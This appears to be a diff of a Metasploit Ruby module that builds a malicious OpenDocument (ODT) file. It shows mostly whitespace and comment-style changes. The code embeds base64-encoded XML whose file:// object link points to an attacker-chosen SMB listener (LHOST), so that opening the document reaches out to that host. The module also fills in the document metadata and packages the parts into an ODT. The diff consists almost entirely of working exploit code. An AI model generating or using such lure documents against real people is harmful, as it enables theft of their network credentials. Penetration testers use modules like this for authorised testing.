def run begin - #Display Status Messages + # Display Status Messages print_status("Generating Malicious ODT File ") - print_status("SMB Listener Address will be set to "+datastore['LHOST']) + print_status("SMB Listener Address will be set to " + datastore['LHOST']) - #Create File Content + # Create File Content createfilecontent() - #Create zip/odt with content + # Create zip/odt with content createzip() end end def createfilecontent() begin - #Malicious part of the file is content.xml which has a file:// link to given address + # Malicious part of the file is content.xml which has a file:// link to given address - #Create the content.xml file - contentxml1="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRleHQ6MS4wIiB4bWxuczp0YWJsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczp0YWJsZToxLjAiIHhtbG5zOmRyYXc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZHJhd2luZzoxLjAiIHhtbG5zOmZvPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnhzbC1mby1jb21wYXRpYmxlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6bnVtYmVyPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRhdGFzdHlsZToxLjAiIHhtbG5zOnN2Zz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdmctY29tcGF0aWJsZToxLjAiIHhtbG5zOmNoYXJ0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmNoYXJ0OjEuMCIgeG1sbnM6ZHIzZD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcjNkOjEuMCIgeG1sbnM6bWF0aD0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIgeG1sbnM6Zm9ybT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6c2NyaXB0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnNjcmlwdDoxLjAiIHhtbG5zOm9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvb2ZmaWNlIiB4bWxuczpvb293PSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC93cml0ZXIiIHhtbG5zOm9vb2M9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L2NhbGMiIHhtbG5zOmRvbT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS94bWwtZXZlbnRzIiB4bWxuczp4Zm9ybXM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDIveGZvcm1zIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczpycHQ9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA1L3JlcG9ydCIgeG1sbnM6b2Y9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2Y6MS4yIiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sbnM6Z3JkZGw9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvZy9kYXRhLXZpZXcjIiB4bWxuczpvZmZpY2Vvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L29mZmljZSIgeG1sbnM6dGFibGVvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L3RhYmxlIiB4bWxuczpkcmF3b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAxMC9kcmF3IiB4bWxuczpjYWxjZXh0PSJ1cm46b3JnOmRvY3VtZW50Zm91bmRhdGlvbjpuYW1lczpleHBlcmltZW50YWw6Y2FsYzp4bWxuczpjYWxjZXh0OjEuMCIgeG1sbnM6bG9leHQ9InVybjpvcmc6ZG9jdW1lbnRmb3VuZGF0aW9uOm5hbWVzOmV4cGVyaW1lbnRhbDpvZmZpY2U6eG1sbnM6bG9leHQ6MS4wIiB4bWxuczpmaWVsZD0idXJuOm9wZW5vZmZpY2U6bmFtZXM6ZXhwZXJpbWVudGFsOm9vby1tcy1pbnRlcm9wOnhtbG5zOmZpZWxkOjEuMCIgeG1sbnM6Zm9ybXg9InVybjpvcGVub2ZmaWNlOm5hbWVzOmV4cGVyaW1lbnRhbDpvb3htbC1vZGYtaW50ZXJvcDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6Y3NzM3Q9Imh0dHA6Ly93d3cudzMub3JnL1RSL2NzczMtdGV4dC8iIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2NyaXB0cy8+PG9mZmljZTpmb250LWZhY2UtZGVjbHM+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FuczEiIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7THVjaWRhIFNhbnMmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN3aXNzIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMaWJlcmF0aW9uIFNlcmlmIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2VyaWYmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InJvbWFuIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTGliZXJhdGlvbiBTYW5zIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3dpc3MiIHN0eWxlOmZvbnQtcGl0Y2g9InZhcmlhYmxlIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FucyIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztMdWNpZGEgU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTWljcm9zb2Z0IFlhSGVpIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO01pY3Jvc29mdCBZYUhlaSZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iU2ltU3VuIiBzdmc6Zm9udC1mYW1pbHk9IlNpbVN1biIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjwvb2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48b2ZmaWNlOmF1dG9tYXRpYy1zdHlsZXM+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9ImZyMSIgc3R5bGU6ZmFtaWx5PSJncmFwaGljIiBzdHlsZTpwYXJlbnQtc3R5bGUtbmFtZT0iT0xFIj48c3R5bGU6Z3JhcGhpYy1wcm9wZXJ0aWVzIHN0eWxlOmhvcml6b250YWwtcG9zPSJjZW50ZXIiIHN0eWxlOmhvcml6b250YWwtcmVsPSJwYXJhZ3JhcGgiIGRyYXc6b2xlLWRyYXctYXNwZWN0PSIxIi8+PC9zdHlsZTpzdHlsZT48L29mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxvZmZpY2U6Ym9keT48b2ZmaWNlOnRleHQ+PHRleHQ6c2VxdWVuY2UtZGVjbHM+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJJbGx1c3RyYXRpb24iLz48dGV4dDpzZXF1ZW5jZS1kZWNsIHRleHQ6ZGlzcGxheS1vdXRsaW5lLWxldmVsPSIwIiB0ZXh0Om5hbWU9IlRhYmxlIi8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJUZXh0Ii8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJEcmF3aW5nIi8+PC90ZXh0OnNlcXVlbmNlLWRlY2xzPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCIvPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCI+PGRyYXc6ZnJhbWUgZHJhdzpzdHlsZS1uYW1lPSJmcjEiIGRyYXc6bmFtZT0iT2JqZWN0MSIgdGV4dDphbmNob3ItdHlwZT0icGFyYWdyYXBoIiBzdmc6d2lkdGg9IjE0LjEwMWNtIiBzdmc6aGVpZ2h0PSI5Ljk5OWNtIiBkcmF3OnotaW5kZXg9IjAiPjxkcmF3Om9iamVjdCB4bGluazpocmVmPSJmaWxlOi8v" - contentxml2=datastore['LHOST'] - contentxml3="L3Rlc3QuanBnIiB4bGluazp0eXBlPSJzaW1wbGUiIHhsaW5rOnNob3c9ImVtYmVkIiB4bGluazphY3R1YXRlPSJvbkxvYWQiLz48ZHJhdzppbWFnZSB4bGluazpocmVmPSIuL09iamVjdFJlcGxhY2VtZW50cy9PYmplY3QgMSIgeGxpbms6dHlwZT0ic2ltcGxlIiB4bGluazpzaG93PSJlbWJlZCIgeGxpbms6YWN0dWF0ZT0ib25Mb2FkIi8+PC9kcmF3OmZyYW1lPjwvdGV4dDpwPjwvb2ZmaWNlOnRleHQ+PC9vZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg==" + # Create the content.xml file + contentxml1 = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRleHQ6MS4wIiB4bWxuczp0YWJsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczp0YWJsZToxLjAiIHhtbG5zOmRyYXc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZHJhd2luZzoxLjAiIHhtbG5zOmZvPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnhzbC1mby1jb21wYXRpYmxlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6bnVtYmVyPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRhdGFzdHlsZToxLjAiIHhtbG5zOnN2Zz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdmctY29tcGF0aWJsZToxLjAiIHhtbG5zOmNoYXJ0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmNoYXJ0OjEuMCIgeG1sbnM6ZHIzZD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcjNkOjEuMCIgeG1sbnM6bWF0aD0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIgeG1sbnM6Zm9ybT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6c2NyaXB0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnNjcmlwdDoxLjAiIHhtbG5zOm9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvb2ZmaWNlIiB4bWxuczpvb293PSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC93cml0ZXIiIHhtbG5zOm9vb2M9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L2NhbGMiIHhtbG5zOmRvbT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS94bWwtZXZlbnRzIiB4bWxuczp4Zm9ybXM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDIveGZvcm1zIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczpycHQ9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA1L3JlcG9ydCIgeG1sbnM6b2Y9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2Y6MS4yIiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sbnM6Z3JkZGw9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvZy9kYXRhLXZpZXcjIiB4bWxuczpvZmZpY2Vvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L29mZmljZSIgeG1sbnM6dGFibGVvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L3RhYmxlIiB4bWxuczpkcmF3b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAxMC9kcmF3IiB4bWxuczpjYWxjZXh0PSJ1cm46b3JnOmRvY3VtZW50Zm91bmRhdGlvbjpuYW1lczpleHBlcmltZW50YWw6Y2FsYzp4bWxuczpjYWxjZXh0OjEuMCIgeG1sbnM6bG9leHQ9InVybjpvcmc6ZG9jdW1lbnRmb3VuZGF0aW9uOm5hbWVzOmV4cGVyaW1lbnRhbDpvZmZpY2U6eG1sbnM6bG9leHQ6MS4wIiB4bWxuczpmaWVsZD0idXJuOm9wZW5vZmZpY2U6bmFtZXM6ZXhwZXJpbWVudGFsOm9vby1tcy1pbnRlcm9wOnhtbG5zOmZpZWxkOjEuMCIgeG1sbnM6Zm9ybXg9InVybjpvcGVub2ZmaWNlOm5hbWVzOmV4cGVyaW1lbnRhbDpvb3htbC1vZGYtaW50ZXJvcDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6Y3NzM3Q9Imh0dHA6Ly93d3cudzMub3JnL1RSL2NzczMtdGV4dC8iIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2NyaXB0cy8+PG9mZmljZTpmb250LWZhY2UtZGVjbHM+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FuczEiIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7THVjaWRhIFNhbnMmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN3aXNzIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMaWJlcmF0aW9uIFNlcmlmIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2VyaWYmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InJvbWFuIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTGliZXJhdGlvbiBTYW5zIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3dpc3MiIHN0eWxlOmZvbnQtcGl0Y2g9InZhcmlhYmxlIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FucyIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztMdWNpZGEgU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTWljcm9zb2Z0IFlhSGVpIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO01pY3Jvc29mdCBZYUhlaSZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iU2ltU3VuIiBzdmc6Zm9udC1mYW1pbHk9IlNpbVN1biIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjwvb2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48b2ZmaWNlOmF1dG9tYXRpYy1zdHlsZXM+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9ImZyMSIgc3R5bGU6ZmFtaWx5PSJncmFwaGljIiBzdHlsZTpwYXJlbnQtc3R5bGUtbmFtZT0iT0xFIj48c3R5bGU6Z3JhcGhpYy1wcm9wZXJ0aWVzIHN0eWxlOmhvcml6b250YWwtcG9zPSJjZW50ZXIiIHN0eWxlOmhvcml6b250YWwtcmVsPSJwYXJhZ3JhcGgiIGRyYXc6b2xlLWRyYXctYXNwZWN0PSIxIi8+PC9zdHlsZTpzdHlsZT48L29mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxvZmZpY2U6Ym9keT48b2ZmaWNlOnRleHQ+PHRleHQ6c2VxdWVuY2UtZGVjbHM+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJJbGx1c3RyYXRpb24iLz48dGV4dDpzZXF1ZW5jZS1kZWNsIHRleHQ6ZGlzcGxheS1vdXRsaW5lLWxldmVsPSIwIiB0ZXh0Om5hbWU9IlRhYmxlIi8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJUZXh0Ii8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJEcmF3aW5nIi8+PC90ZXh0OnNlcXVlbmNlLWRlY2xzPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCIvPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCI+PGRyYXc6ZnJhbWUgZHJhdzpzdHlsZS1uYW1lPSJmcjEiIGRyYXc6bmFtZT0iT2JqZWN0MSIgdGV4dDphbmNob3ItdHlwZT0icGFyYWdyYXBoIiBzdmc6d2lkdGg9IjE0LjEwMWNtIiBzdmc6aGVpZ2h0PSI5Ljk5OWNtIiBkcmF3OnotaW5kZXg9IjAiPjxkcmF3Om9iamVjdCB4bGluazpocmVmPSJmaWxlOi8v" + contentxml2 = datastore['LHOST'] + contentxml3 = "L3Rlc3QuanBnIiB4bGluazp0eXBlPSJzaW1wbGUiIHhsaW5rOnNob3c9ImVtYmVkIiB4bGluazphY3R1YXRlPSJvbkxvYWQiLz48ZHJhdzppbWFnZSB4bGluazpocmVmPSIuL09iamVjdFJlcGxhY2VtZW50cy9PYmplY3QgMSIgeGxpbms6dHlwZT0ic2ltcGxlIiB4bGluazpzaG93PSJlbWJlZCIgeGxpbms6YWN0dWF0ZT0ib25Mb2FkIi8+PC9kcmF3OmZyYW1lPjwvdGV4dDpwPjwvb2ZmaWNlOnRleHQ+PC9vZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg==" - #Write content.xml out to disk - open((File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt','content.xml')), 'w') { |f| - f.puts (Base64.decode64(contentxml1)+contentxml2+Base64.decode64(contentxml3)) + # Write content.xml out to disk + open((File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt', 'content.xml')), 'w') { |f| + f.puts (Base64.decode64(contentxml1) + contentxml2 + Base64.decode64(contentxml3)) f.close } - #Create the content for meta.xml - metaxml1="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtbWV0YSB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC9vZmZpY2UiIHhtbG5zOmdyZGRsPSJodHRwOi8vd3d3LnczLm9yZy8yMDAzL2cvZGF0YS12aWV3IyIgb2ZmaWNlOnZlcnNpb249IjEuMiI+PG9mZmljZTptZXRhPjxtZXRhOmluaXRpYWwtY3JlYXRvcj4=" - metaxml2="PC9tZXRhOmluaXRpYWwtY3JlYXRvcj48bWV0YTpjcmVhdGlvbi1kYXRlPjIwMTctMDItMDZUMTU6MTU6NDcuMzU8L21ldGE6Y3JlYXRpb24tZGF0ZT48ZGM6ZGF0ZT4yMDE3LTAyLTA2VDE1OjIxOjU5LjY0PC9kYzpkYXRlPjxkYzpjcmVhdG9yPg==" - metaxml3="PC9kYzpjcmVhdG9yPjxtZXRhOmVkaXRpbmctZHVyYXRpb24+UFQ0TTE2UzwvbWV0YTplZGl0aW5nLWR1cmF0aW9uPjxtZXRhOmVkaXRpbmctY3ljbGVzPjI8L21ldGE6ZWRpdGluZy1jeWNsZXM+PG1ldGE6Y3JlYXRpb24tZGF0ZT4yMDE4LTA1LTEwVDIwOjI5OjQxLjM5ODAwMDAwMDwvbWV0YTpjcmVhdGlvbi1kYXRlPjxtZXRhOmRvY3VtZW50LXN0YXRpc3RpYyBtZXRhOnRhYmxlLWNvdW50PSIwIiBtZXRhOmltYWdlLWNvdW50PSIwIiBtZXRhOm9iamVjdC1jb3VudD0iMCIgbWV0YTpwYWdlLWNvdW50PSIxIiBtZXRhOnBhcmFncmFwaC1jb3VudD0iMCIgbWV0YTp3b3JkLWNvdW50PSIwIiBtZXRhOmNoYXJhY3Rlci1jb3VudD0iMCIgbWV0YTpub24td2hpdGVzcGFjZS1jaGFyYWN0ZXItY291bnQ9IjAiLz48bWV0YTpnZW5lcmF0b3I+TGlicmVPZmZpY2UvNi4wLjMuMiRXaW5kb3dzX1g4Nl82NCBMaWJyZU9mZmljZV9wcm9qZWN0LzhmNDhkNTE1NDE2NjA4ZTNhODM1MzYwMzE0ZGFjN2U0N2ZkMGI4MjE8L21ldGE6Z2VuZXJhdG9yPjwvb2ZmaWNlOm1ldGE+PC9vZmZpY2U6ZG9jdW1lbnQtbWV0YT4=" - creator=datastore['CREATOR'] + # Create the content for meta.xml + metaxml1 = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtbWV0YSB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC9vZmZpY2UiIHhtbG5zOmdyZGRsPSJodHRwOi8vd3d3LnczLm9yZy8yMDAzL2cvZGF0YS12aWV3IyIgb2ZmaWNlOnZlcnNpb249IjEuMiI+PG9mZmljZTptZXRhPjxtZXRhOmluaXRpYWwtY3JlYXRvcj4=" + metaxml2 = "PC9tZXRhOmluaXRpYWwtY3JlYXRvcj48bWV0YTpjcmVhdGlvbi1kYXRlPjIwMTctMDItMDZUMTU6MTU6NDcuMzU8L21ldGE6Y3JlYXRpb24tZGF0ZT48ZGM6ZGF0ZT4yMDE3LTAyLTA2VDE1OjIxOjU5LjY0PC9kYzpkYXRlPjxkYzpjcmVhdG9yPg==" + metaxml3 = "PC9kYzpjcmVhdG9yPjxtZXRhOmVkaXRpbmctZHVyYXRpb24+UFQ0TTE2UzwvbWV0YTplZGl0aW5nLWR1cmF0aW9uPjxtZXRhOmVkaXRpbmctY3ljbGVzPjI8L21ldGE6ZWRpdGluZy1jeWNsZXM+PG1ldGE6Y3JlYXRpb24tZGF0ZT4yMDE4LTA1LTEwVDIwOjI5OjQxLjM5ODAwMDAwMDwvbWV0YTpjcmVhdGlvbi1kYXRlPjxtZXRhOmRvY3VtZW50LXN0YXRpc3RpYyBtZXRhOnRhYmxlLWNvdW50PSIwIiBtZXRhOmltYWdlLWNvdW50PSIwIiBtZXRhOm9iamVjdC1jb3VudD0iMCIgbWV0YTpwYWdlLWNvdW50PSIxIiBtZXRhOnBhcmFncmFwaC1jb3VudD0iMCIgbWV0YTp3b3JkLWNvdW50PSIwIiBtZXRhOmNoYXJhY3Rlci1jb3VudD0iMCIgbWV0YTpub24td2hpdGVzcGFjZS1jaGFyYWN0ZXItY291bnQ9IjAiLz48bWV0YTpnZW5lcmF0b3I+TGlicmVPZmZpY2UvNi4wLjMuMiRXaW5kb3dzX1g4Nl82NCBMaWJyZU9mZmljZV9wcm9qZWN0LzhmNDhkNTE1NDE2NjA4ZTNhODM1MzYwMzE0ZGFjN2U0N2ZkMGI4MjE8L21ldGE6Z2VuZXJhdG9yPjwvb2ZmaWNlOm1ldGE+PC9vZmZpY2U6ZG9jdW1lbnQtbWV0YT4=" + creator = datastore['CREATOR'] - #Write meta.xml out to disk - open((File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt','meta.xml')), 'w') { |f| - f.puts (Base64.decode64(metaxml1)+creator+Base64.decode64(metaxml2)+creator+Base64.decode64(metaxml3)) + # Write meta.xml out to disk + open((File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt', 'meta.xml')), 'w') { |f| + f.puts (Base64.decode64(metaxml1) + creator + Base64.decode64(metaxml2) + creator + Base64.decode64(metaxml3)) f.close } - end end def createzip() begin - files = - [ - {data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt','content.xml')), fname: 'content.xml'}, - {data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt','manifest.rdf')), fname: 'manifest.rdf'}, - {data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt','meta.xml')), fname: 'meta.xml'}, - {data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt','settings.xml')), fname: 'settings.xml'}, - {data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt','styles.xml')), fname: 'styles.xml'}, - {data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt','manifest.xml')), fname: 'META-INF/manifest.xml'}, - {data: File.read(File.join(Msf::Config.install_root, 'data', 'exploits', 'badodt','thumbnail.png')), fname: 'Thumbnails/thumbnail.png'} - ] 